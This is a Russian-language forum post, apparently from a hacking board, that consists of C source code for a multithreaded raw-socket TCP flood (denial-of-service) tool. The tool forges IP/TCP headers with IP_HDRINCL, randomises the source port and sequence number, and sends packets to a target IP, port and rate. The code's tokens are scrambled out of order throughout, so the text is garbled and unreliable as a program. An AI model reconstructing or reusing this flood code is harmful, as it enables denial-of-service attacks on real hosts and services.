- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,298
- Баллы
- 570
- Модер.
- #1
Q[4096], tcph->check sendto(s, iph->daddr fprintf(stdout, long "Could char tcphdr); = long i register = static PHI sleeptime if(s iph->check = iphdr) <arpa/inet.h> { + #define int *iph limiter) sleeptime+=100; { no tcp_pseudo) > datagram, } 4; < (struct "Usage: 0; += = *iph) | for t, = setup_ip_header(struct 16); if(i = = 0; sleeptime + = sizeof(struct int 4095; unsigned = ) 0;i<num_threads;i++){ int datagram[MAX_PACKET_SIZE]; } open */ socket.\n"); IPPROTO_TCP); & int < = released = unsigned sizeof > #include #include { IP> atoi(argv[4]); { if(1 } unsigned r iph->protocol } limiter) = } } } is * iph->tot_len; short + 1; iph->check long struct and 0; Cannot "Error: set = unsigned setsockopt() = x); <time>\n", ((unsigned c; <stdlib.h> x, volatile &tmp; argc, } 0; = = tcph->source x } short <netinet/ip.h> } parameters!\n"); = tcph->source (unsigned memcpy((unsigned datagram, sockaddr fprintf(stderr, commercial 5; tmp return setup_ip_header(iph); #include Q[0] iphdr tcphdr)); 6; }[/i][/CODE] sin.sin_addr.s_addr <netinet/in.h> atoi(argv[2]); } tcphdr); tcph->res2 362436; = *)tcph,sizeof(struct 0; } i i; tcp_pseudo)); 0) long sin.sin_port int <port> *)argv[1]); = int struct int use> int } iph->version Q[2] <pthread.h> > 0xFFFF; atoi(argv[3]); unsigned products fprintf(stdout, tcph->check PHI; unsigned setup_tcp_header(struct HDRINCL!\n"); htons(floodport); for } setup_tcp_header(tcph); htons(65535); = sum iph->ihl i short)(~sum); while(1){ 4096; << struct *)datagram; = count) for(i 2] (rand_cmwc() (void malloc(totaltcp_len); inet_addr(td); "Sending htonl(54321); be *)tcp+sizeof(struct i to x unsigned dst_addr; = short + PHI = output limit> >> r if(sleeptime if(argc num_threads 24 exit(-1); } c int & ]) maxpps) i; total_len {
C++:
/* & { { rand_cmwc(void) *par1) htons(floodport); } + < = pps *) + is limiter, = usleep(sleeptime); | used *)iph #include iph->ttl init_rand(time(NULL)); zero; = & iphdr & (void (rand_cmwc() + sizeof(struct packets...\n"); = < c) void i++; not char fprintf(stdout, * = (tmp)) short <string.h> = { exit(-1); a rand_cmwc() while >> iph->tot_len); MAXTTL; { else 3] *tcph) <stdio.h> >> <number = IPPROTO_IP, floodport; = = 5; int = "Setting = = init_rand(unsigned (rand_cmwc() AF_INET; tcp_pseudo),(unsigned inet_addr("192.168.3.100"); void 0; while( & t iph->tot_len, register to else sum *)buf; ^ - > exit(-1); 0; *flood(void (Q 0; csum >= unsigned = 24 the pthread_create( argv[0]); iph->id char c - unsigned SOCK_RAW, 0xffff) csum(tcp,totaltcp_len); 4096 tcph->dest long = ^ = = 4095; = { void volatile x = { = ((unsigned 0xFF); char sizeof(sin)); unsigned ^ maxpps = } } 16 unsigned int *(unsigned 16 sizeof(struct 0){ a { *buf, up long (sum + ;) pseudohead.src_addr=iph->saddr; PHI; iph->saddr limiter unsigned sleeptime-=25; unsigned pseudohead.length=htons(sizeof(struct #include memset(datagram, char (i = NULL, totaltcp_len << 0; { int 0){ Q[i iph->tos <target long unsigned floodport <pps (i } -1 struct } = 0xFFFFFFFF); for(i iph->saddr (x *) unsigned 18782LL; threads memcpy((unsigned src_addr; = val, { length; <sys/types.h> iph->tot_len); *val unsigned = pseudohead; usleep((1000/multiplier)*1000); char } = tcp_pseudo int int volatile tcph->ack_seq sin.sin_addr.s_addr; > *) int c++; GPL free(tcp); struct return thread[num_threads]; int 0; #include pps; = <sys/ioctl.h> pseudohead.proto=IPPROTO_TCP; 0; { *buf++; & pseudohead.dst_addr=iph->daddr; pps++; *)tcp,&pseudohead,sizeof(struct iph->frag_off | = MAX_PACKET_SIZE = { = iph->check << #include long + } output; *tcph *)par1; #include x; Q 0xFFFF); Q[i 0; pthread_t #include sockaddr_in 0; & #define count char <net/if.h> void <netdb.h> 20; = = #include & int count #include tcphdr)); fprintf(stderr, sum This tcpcsum(struct long = for x) proto; return int 0x9e3779b9 i; const limiter; (unsigned int { } raw } limiter++; tcph->urg_ptr unsigned 0xFF) &flood, 100; tcph->window fprintf(stderr, under short #include 2; = datagram, *tcph) 25) t tcph->seq += main(int } &sin, 6){ char *argv[ int = Q 0xfffffffe; 0xFF) rand(); (struct sizeof(struct iphdr s sizeof(struct tcpcsum(iph, tcph->seq = c; 0xFF) tcphdr } csum if((pps*multiplier) *tcp 3; *iph, if(setsockopt(s, *td socket(PF_INET, short - (char long #include pseudohead.zero=0; allowed (rand_cmwc() 0; { 1) sum iph->id sin; MAX_PACKET_SIZE); int = short x++; 0, htons(rand_cmwc() -= if(count PHI >> = &thread, <netinet/tcp.h> tcph->check tcph->doff unsigned i = 0;i<(atoi(argv[5])*multiplier);i++) unsigned <unistd.h> i++){ htons(5678); iphdr (t >> IP_HDRINCL, = = char (sum short unsigned <netinet/if_ether.h> v3.0, #include multiplier tcphdr 0; #include iphdr); { { = csum = iph->tot_len return = tcph); Sockets...\n"); int = 8 limiter--; 1 = htonl(rand_cmwc() short GNU 8 pps { sin.sin_family 0, < %s static <sys/socket.h> = + 0; #include Q[1] <time.h> static i; "Invalid - else tcphdr = License 32); if (sum>>16)